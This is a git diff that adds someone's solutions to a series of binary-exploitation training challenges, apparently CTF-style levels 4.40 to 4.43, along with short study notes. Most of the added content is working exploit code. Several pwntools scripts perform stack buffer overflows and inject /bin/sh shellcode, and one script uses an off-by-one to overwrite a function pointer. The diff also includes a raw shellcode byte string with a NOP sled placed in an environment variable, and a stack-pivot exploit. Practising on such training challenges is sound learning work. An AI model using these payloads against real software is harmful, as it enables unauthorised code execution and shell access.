diff --git a/4.40/gen_hash_string.py b/4.40/gen_hash_string.py new file mode 100644 index 0000000..fd56fcc --- /dev/null +++ b/4.40/gen_hash_string.py @@ -0,0 +1,81 @@ +global_ring_buffer_size = 32 + + +def init(): + global_ring_buffer = [0x0] * global_ring_buffer_size + global_ring_buffer.append(global_ring_buffer_initial_suffix) + return global_ring_buffer + + +def my_awesome_hash(s, n): + hash = 0x9980C25E1B3501DA + + global_ring_buffer = init() + + for i in range(0, n): + hash ^= ord(s[i]) + hash = (hash << 9) ^ (hash >> 5) + hash += 17 + hash ^= 0xDEADBEEFC0DEBABE + + hash &= 0xFFFFFFFFFFFFFFFF + + temp = [] + for k in range(len(hex(hash)), 0, -2): + temp.append(hex(hash)[k - 2 : k]) + + for j in range(0, 8): + pos = j + i + if pos > global_ring_buffer_size: + pos = 0 + + global_ring_buffer[pos] = temp[j] + + return global_ring_buffer + + +import string + +letters = string.ascii_letters + string.digits +letters_len = len(letters) + + +def get_string(num, length): + s = "" + while len(s) < length: + s += letters[num % letters_len] + num = num // letters_len + + s = s[::-1] + return s + + +def get_solution(length, replace_text): + possibilities = letters_len**length + s = "" + for num in range(0, possibilities): + s = get_string(num, length) + global_ring_buffer = my_awesome_hash(s, len(s)) + if global_ring_buffer[global_ring_buffer_size] == replace_text: + return s + + +# Open one terminal +print("gdb /challenge/run") +print("break main") +print("run a") + +print("p &my_exit") +# (void (*)()) 0x401191 + +print("p &give_me_a_shell") +# (void (*)()) 0x401176 + +# Need to replace 91 with 76 to spawn shell +global_ring_buffer_initial_suffix = 0x91 +global_ring_buffer_hash_target_suffix = "76" +print( + "/challenge/run", + get_solution(global_ring_buffer_size, global_ring_buffer_hash_target_suffix), +) +print("cat /flag") diff --git a/4.41/soln.py b/4.41/soln.py new file mode 100644 index 0000000..d9e547e --- /dev/null +++ b/4.41/soln.py @@ -0,0 +1,34 @@ +from pwn import * + +context.arch = "amd64" + +shellcode = asm(shellcraft.sh()) + +host = "localhost" +port = 1337 +target = remote(host, port) + +buf_size = 0x10000 # 65536 + +main_rsp_addr = 0x7FFD96C87C10 # given by program + +child_stack_offset = 0x10020 # space for the large buffer, check in GDB +child_rsp_addr = main_rsp_addr - child_stack_offset +buf_addr = child_rsp_addr # buffer is at start of forked child's stack, check in GDB +saved_rip_offset = 0x10018 # offset of saved rip from forked child's rsp, check in GDB + +shellcode_addr = p64(buf_addr) + +payload = ( + shellcode + + b"a" * (buf_size - len(shellcode)) # padding, fill the buffer after the shellcode + + b"b" + * (saved_rip_offset - buf_size) # padding, fill gap between buffer and saved rip + + shellcode_addr +) + +print(len(payload)) + +target.sendline(payload) + +target.interactive() diff --git a/4.42/soln.py b/4.42/soln.py new file mode 100644 index 0000000..e27919f --- /dev/null +++ b/4.42/soln.py @@ -0,0 +1,37 @@ +from pwn import * + +context.arch = "amd64" + +# observed range of offsets are smaller than before +# NOP sled with comfortable room for error +sled_len = 0x5000 + +# BEFORE PROCEEDING, STOP AND DO THIS AND THEN REEXECUTE THE CHALLENGE EXE +# place shellcode in environment to get around buffer limit + +# export SHELLCODE_CMD=$(python3 -c "import sys; sys.stdout.buffer.write(b'\x90' * 0x5000 + b'\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05')") + +host = "localhost" +port = 1337 +# io = start(env={"SHELLCODE_CMD": payload}) + +buf_size = 0x10 # 16 + +main_rsp_addr = 0x7fff4333fc80 # given by program + +target_env_addr_proximity = main_rsp_addr + sled_len + +saved_rip_offset = 0x28 + +payload = ( + b"a" * (buf_size) # padding, fill the buffer + + b"b" * (saved_rip_offset - buf_size) # padding, fill gap between buffer and saved rip + + p64(target_env_addr_proximity) +) + +print(payload) +target = remote(host, port) + +target.sendline(payload) + +target.interactive() diff --git a/4.43/soln.py b/4.43/soln.py new file mode 100644 index 0000000..44f16ed --- /dev/null +++ b/4.43/soln.py @@ -0,0 +1,65 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +# This exploit template was generated via: +# $ pwn template /challenge/run +import os +from pwn import * + +# Set up pwntools for the correct architecture +exe = context.binary = ELF(args.EXE or '/challenge/run') + +# Many built-in settings can be controlled on the command-line and show up +# in "args". For example, to dump all data sent/received, and disable ASLR +# for all created processes... +# ./exploit.py DEBUG NOASLR + + + +def start(argv=[], *a, **kw): + '''Start the exploit against the target.''' + if args.GDB: + return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) + else: + return process([exe.path] + argv, *a, **kw) + +# Specify your GDB script here for debugging +# GDB will be launched if the exploit is run via e.g. +# ./exploit.py GDB +gdbscript = ''' +tbreak main +continue +'''.format(**locals()) + +#=========================================================== +# EXPLOIT GOES HERE +#=========================================================== +# Arch: amd64-64-little +# RELRO: No RELRO +# Stack: No canary found +# NX: NX unknown - GNU_STACK missing +# PIE: No PIE (0x400000) +# Stack: Executable +# RWX: Has RWX segments + +# NOP sled with comfortable room for error +sled_len = 0x5000 +nop_sled = b"\x90" * sled_len + +shellcode = asm(shellcraft.sh()) + +payload = nop_sled + shellcode + +io = start(["testing"], env={"SHELLCODE_CMD": payload}) + +io.recvuntil(b"for you: ") +rsp_line = io.recvline()[:-1] +rsp_hex = int(rsp_line, 16) +print("Received rsp address:", rsp_line) + +target_shellcode_sled = rsp_hex + sled_len + +final_payload = p64(target_shellcode_sled) * 0x34 # why does normal padding not work here? + +io.sendline(final_payload) + +io.interactive() diff --git a/Dojo Notes.md b/Dojo Notes.md index 62486e4..c6a1c3d 100644 --- a/Dojo Notes.md +++ b/Dojo Notes.md @@ -721,3 +721,31 @@ payload = input_str + padding + input_str_hash - where else can we put it? - one solution is to place shellcode in an env variable and preface it with a sufficiently large NOP sled - then overwrite saved rip with this shellcode's location, or at least its proximity so that it gets caught in the NOP sled + +### .40 - one step too many + +- off by one vuln (checks `index_pos > sizeof(buffer)` for out of bounds, when it should be `>=`) +- control program flow (exit func ptr) +- current exit ptr is `0x401191`, target fn is at `0x401176` +- last byte alone needs to be changed +- bruteforce - generate hashes as specified, then check for a hash that ends with the `76` byte +- boom, string + +### .41 - little dipper + +- buffer overflow + shellcode injection, over the network +- rsp is given by the program, but it's of the caller stack frame of the function that contains the buffer overflow +- no matter, we calculate the offset +- standard injection after that, only difference is over network + +### .42 - big dipper + +- same as before, but buffer is too small for usual shellcode +- so use the technique from 4.39, i.e. placing shellcode in an environment variable +- place similar NOP sled and shellcode yada yada + +### .43 - twist and shout + +- stack pivot + shellcode +- can't overwrite saved rip but can overwrite rbp +- use it to repeatedly pop into rsp when leaving, thus making it reach the shellcode